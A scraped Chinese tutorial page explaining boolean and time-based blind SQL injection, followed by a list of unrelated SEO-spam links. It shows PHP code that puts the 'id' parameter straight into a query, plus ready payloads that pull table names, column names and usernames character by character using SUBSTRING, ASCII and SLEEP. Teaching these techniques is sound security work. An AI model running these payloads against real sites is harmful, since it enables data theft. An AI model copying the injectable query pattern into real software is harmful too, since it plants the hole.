当前位置: 首页 > wzjs >正文

永仁网站建设适合seo的建站系统

永仁网站建设,适合seo的建站系统,黄山学院统一信息门户平台,青岛网页设计师一、布尔盲注 布尔盲注是通过观察应用程序的响应&#xff08;如HTTP 状态码等&#xff09;来判断查询条件是否为真。 1.进行数据库配置连接 <?php // 数据库连接配置 $host localhost; $dbname testdb; $user root; $password password;//创建数据库连接 $conn new …

一、布尔盲注 布尔盲注是通过观察应用程序的响应(如HTTP 状态码等)来判断查询条件是否为真。

1.进行数据库配置连接
<?php
// 数据库连接配置
$host = 'localhost';
$dbname = 'testdb';
$user = 'root';
$password = 'password';//创建数据库连接
$conn = new mysqli($host, $user, $password, $dbname);//检查连接 
if ($conn->connect_error) {die("Connection failed: " . $conn->connect_error);
}// 获取用户输入的参数
$id = $_GET['id'];
2.构造布尔盲注查询
$query = "SELECT * FROM users WHERE id = $id AND 1=1";$result = $conn->query($query);
3.返回查询结果
if ($result->num_rows > 0) {echo "Query is TRUE (数据存在)";
} else {echo "Query is FALSE (数据不存在)";
}// 关闭连接
$conn->close();
?>
4.攻击者可以通过修改 id 参数,一点点推断数据库信息

获取表名

sqlid=1 AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1)='a'

获取列名

sqlid=1 AND (SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns WHERE table_name='users' LIMIT 1)='u'

获取数据

sqlid=1 AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'

二、时间盲注 时间盲注是通过在 SQL 查询中插入时间延迟函数(如 SLEEP()),根据数据库响应时间来判断查询条件是否为真。

1.进行数据库配置连接
<?php
// 数据库连接配置
$host = 'localhost';
$dbname = 'testdb';
$user = 'root';
$password = 'password';//创建数据库连接
$conn = new mysqli($host, $user, $password, $dbname);//检查连接 
if ($conn->connect_error) {die("Connection failed: " . $conn->connect_error);
}// 获取用户输入的参数
$id = $_GET['id'];
2.构造时间盲注查询
$query = "SELECT * FROM users WHERE id = $id AND IF(1=1, SLEEP(5), 0)";
$start_time = microtime(true); // 开始时间
$result = $conn->query($query);
$end_time = microtime(true); // 结束时间
3. 计算查询耗时
$query_time = $end_time - $start_time;
4.根据查询时间判断结果
if ($query_time > 5) {echo "Query is TRUE (延迟 5 秒)";
} else {echo "Query is FALSE (无延迟)";
}
// 关闭连接
$conn->close();
?>
5.攻击者可以通过修改 id 参数,逐步推断数据库信息

获取表名

sqlid=1 AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1),1,1))=97, SLEEP(5), 0)

获取列名

sqlid=1 AND IF(ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1),1,1))=117, SLEEP(5), 0)

获取数据

sqlid=1 AND IF(ASCII(SUBSTRING((SELECT username FROM users LIMIT 1),1,1))=97, SLEEP(5), 0)

三、获取表、列、具体数据的函数

1.获取表名

sqlid=1 AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 OFFSET 0),1,1))=97

2.获取列名

sqlid=1 AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1 OFFSET 0),1,1))=117

3.获取数据

sqlid=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 1 OFFSET 0),1,1))=97
http://www.dtcms.com/wzjs/345159.html

相关文章:

  • 阿里云开发者社区seo优化效果怎么样
  • 凡客建站网附子seo教程
  • 广告传媒公司取名seo计费系统源码
  • 昌平区住房城乡建设委官方网站上海最新事件
  • 东莞网站建制作网站优化服务
  • 多用户商城网站建设二次开发女教师网课入侵录屏冫
  • 租个国内服务器做网站多少钱优化推广联盟
  • 近期国内重大新闻优化推广方案
  • 不会编程怎么做网站西安seo优化培训
  • 20m做网站抖音关键词搜索排名
  • 域名备案怎么办理武汉seo公司
  • 做视频教学网站如何做广州新一期lpr
  • 成营销型网站制作游戏推广对接平台
  • s上海网站建设广告策划案优秀案例
  • 个人网站怎么做app广东深圳疫情最新
  • 知名it外包公司长春关键词优化公司
  • 明年做哪些网站能致富苏州网站优化公司
  • 手机网站怎么做301近日网站收录查询
  • 网站 地图导航代码360渠道推广系统
  • 温州网站制作哪家好百度热搜关键词排名
  • 邹平做网站东莞服务好的营销型网站建设
  • 沧州网站制作刚开的店铺怎么做推广
  • wordpress会员中心保定百度首页优化
  • 重庆时时彩在线网站制作产品营销方案策划
  • 公司首页模板网站运营推广选择乐云seo
  • 在建工程项目查询青岛seo关键词排名
  • 九江做网站大概多少钱怎么去推广自己的店铺
  • 织梦系统网站地图模板下载seo标题优化步骤
  • 专业北京翻译公司电商seo优化
  • 北京教育云平台网站建设旅游seo整站优化